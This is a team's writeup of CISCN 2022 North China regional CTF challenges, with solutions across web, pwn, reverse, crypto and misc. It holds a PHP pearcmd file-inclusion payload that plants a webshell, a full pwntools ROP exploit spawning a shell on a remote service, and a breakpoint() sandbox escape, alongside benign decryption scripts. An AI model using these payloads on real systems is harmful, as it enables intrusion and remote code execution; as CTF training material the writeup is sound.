Back
Featured image of post CISCN2022 华北分赛区 Writeup by or4nge

CISCN2022 华北分赛区 Writeup by or4nge

CISCN 2022 华北赛区 3rd~

Web

include

p牛的PHP裸文件本地包含

/index.php?+config-create+/&file=../../../../usr/local/lib/php/pearcmd&/<? eval($_POST[1]);?>+/tmp/hello.php

Pwn

very_old_school

神奇的gadget,老题,改read的got为write泄露地址,最后onegadget即可。

from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')

if len(sys.argv) < 2:
    debug = True
else:
    debug = False

if debug:
    p = process("./very_old_school")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("39.104.61.18", 5656)
    libc = ELF('./libc-2.27.so')

elf = ELF('./very_old_school')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

pop_all = 0x4005da 
payload = b"a" * 0x40
payload += p64(0xaaaaaaaa)
payload += p64(pop_all)
diff = libc.sym['write'] - libc.sym['read']
# gdb.attach(p)
# sleep(1)
print(diff & 0xffffffffffffffff)
payload += p64(diff & 0xffffffffffffffff)
payload += p64(0x601020 + 0x3d)
payload += b"\x00" * 8 * 4
payload += p64(0x0000000000400518)
payload += p64(0x00000000004005e3) 
payload += p64(1) 
payload += p64(0x00000000004005e1)
payload += p64(elf.got['read'])
payload += p64(0) 
payload += p64(elf.plt['read'])
payload += p64(pop_all)
payload += p64((-diff) & 0xffffffffffffffff)
payload += p64(0x0601020 + 0x3d)
payload += b"\x00" * 8 * 4
payload += p64(0x0000000000400518) 
payload += p64(0x400450) 
print(hex(len(payload)))
sn(payload)
write = u64(p.recv(6) + b'\x00' + b'\x00')
libc_addr = write - libc.sym['write']
log.info(hex(libc_addr))
payload = b"A" * 0x40
payload += p64(0xaaaaaaaa)
payload += p64(libc_addr + 0x10a41c)
sn(payload)
p.interactive()

Rev

jsuck

js混淆

先对flag进行base64编码

然后asdlg()函数将字符串转为数组

iKdga()函数对每一位异或3

wrwg()函数将数组转回字符串

最后与已知字符串进行比较

求解脚本:

import base64
a = b"Yn{kY0wjNGJ1NyJ3ZyZ6NGQjNnF6Z1J3Zid7YGYhMiEiLGEhN[3>"
flag = ''
for i in a:
    flag += chr(i ^ 3)

print (base64.b64decode(flag))
# b'flag{b026324c6904b2a9cb4b88d6d61c81d1}'

rtMaze

qemu,使用gdb调试,确认基地址为0x60010000,设置后ida可反编译

根据字符串找到核心逻辑在0x600117b0,传入的参数为此前迷宫中的输入内容

由于对其填充到了48个字符,猜测该迷宫需要反向跑:

dddwwawwwwaasdsasawawdwaaasawassssdwdsddssasddw

加密部分如下

XTEA算法

将迷宫输入分为12个int,每次循环选取4个int作为key,进行XTEA加密

解密脚本:

#include <stdio.h>  
#include <stdint.h>  
  
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
    unsigned int i;  
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;  
    for (i=0; i < num_rounds; i++) {  
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
        sum -= delta;  
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
    }  
    v[0]=v0; v[1]=v1;  
}  

int main()  
{  
    uint32_t v[10]={
        0x9C51DE69, 0xD8C793BF,
        0x6346ACA4, 
        0xF8D452EA, 
        0xA54B10D5, 
        0x2F8D8FC6, 
        0xC702BB4D, 
        0x4725858D, 
        0x2B0AA099, 
        0x1601D0A6, 
        };  
    uint32_t const k[12]={
        0x77646464,
        0x77776177,
        0x61617777,
        0x61736473,
        0x61776173,
        0x61776477,
        0x61736161,
        0x73736177,
        0x77647373,
        0x64647364,
        0x73617373,
        0x61776464
    };
    unsigned int r=32;
    printf("加密后的数据:%u %u\n",v[0],v[1]);  
    decipher(r, v, k);  
    decipher(r, v + 2, k + 4);  
    decipher(r, v + 4, k + 8);  
    decipher(r, v + 6, k);  
    decipher(r, v + 8, k + 4);
    for (int i = 0; i < 40; i++)
        printf("%c", *(((char*)v) + i));
    printf("\n");
    return 0;  
}
// d8550a7b7-d0a0d-4f37-b4abc0-0cf93eb3dfd4

Crypto

Diophantine

判断是对的,把9除下去解佩尔方程,写for循环提交即可

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote("39.104.61.18", 26726)
import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
p.recvuntil("(str + ")
md = p.recvuntil(")")[:-1].decode()
print(md)
p.recvuntil(" == ")
ans = p.recvuntil("\n")[:-1].decode()
print(ans)
def mdd():
    for a in dic:
        for b in dic:
            for c in dic:
                for d in dic:
                    t = str(a)+str(b)+str(c)+str(d)+md
                    md5 = hashlib.md5(t.encode()).hexdigest()
                # print(md5[:6])
                    if md5[0:5] == ans:
                        d =str(a)+str(b)+str(c)+str(d)
                        p.sendline(d.encode())
                        return

mdd()

p.sendline(b"y")
p.sendline(b"y")

f = open("./ans.txt", "r")
for l in f.read().split('\n'):
    x,y=l.split(' ')
    p.sendlineafter("x=",x)
    p.sendlineafter("y=",y)
    p.recvuntil("wer")

p.interactive()

EasyRsa

根据题目信息得到h,由 $\frac h {2g}=rs+\frac{r}{2g}+\frac{s}{2g}$,后两者较小,可以通过爆破得出 r+s 和 r-s,从而得出 s 和 r,进而可以得出 $\phi(n)$,解密得到 flag

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes, inverse

def get_rs(cur_rs, h, g):
    rs = h - 2 * g * cur_rs
    if rs < 0:
        return False
    if rs ** 2 - 4 * cur_rs < 0:
        return False
    delta = iroot(rs ** 2 - 4 * cur_rs, 2)
    if not delta[1]:
        return False
    r = (rs - delta[0]) // 2
    s = (rs + delta[0]) // 2
    return r, s


n=22674165844905158260176168026816552467096072570578600242128271855414019546269941158980926383539152088163386486594970550426095813309390851670596901239161501799287825141484239319817091651407345474982377372054888770936964124342265857312847156030175512996932047024846256128852364411361104881876499527373499676800838224118813206681739936743754500898092792230659202349749012386805859665056024946969736506105283735257152266921793786908302315016683954542458869766736987653476629282074870135677126618336504349609949843015699079901471850834309549434049741620451308935825225861067965105407242194092434593658617061001051261986003
e=65537
c=782836877747818842493334376192707959633875414421119864133181592744303451005021100252453573692816054585303366274224087420041284882899698447861322919543336259986718739329810516986508263800638169206422642491731816114864183191451497206767082965587155423396589137912838842875035557343464065904849661324493244122164082422461425238044593940586748674516957395798642524010290664115814930907318276984939283752745962807878377719292647500596944596051296807946807250542510019416661571456929182119445830050306376509177311647871578247060341177622456756501597305853248802782554576320613573685540342421823987333619169191892620415521
g=1834423494494916216123441416584222421978972309717825906841264503350314600090174106582891343187567071177004232569276768024920547950940295765307910633287
h = (n - 1) // (2 * g)
cur_rs = h // (2 * g)

while 1:
    cur = get_rs(cur_rs, h, g)
    if cur:
        r, s = cur
        rs = cur_rs
        break
    cur_rs -= 1

phi = 4 * g ** 2 * rs
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))

Misc

the Kenoru’s Arithmetic Classroom Revenge

help() 被 ban 了,发现存在类似的命令:breakpoint()

比赛中没截图,放一个本地的测试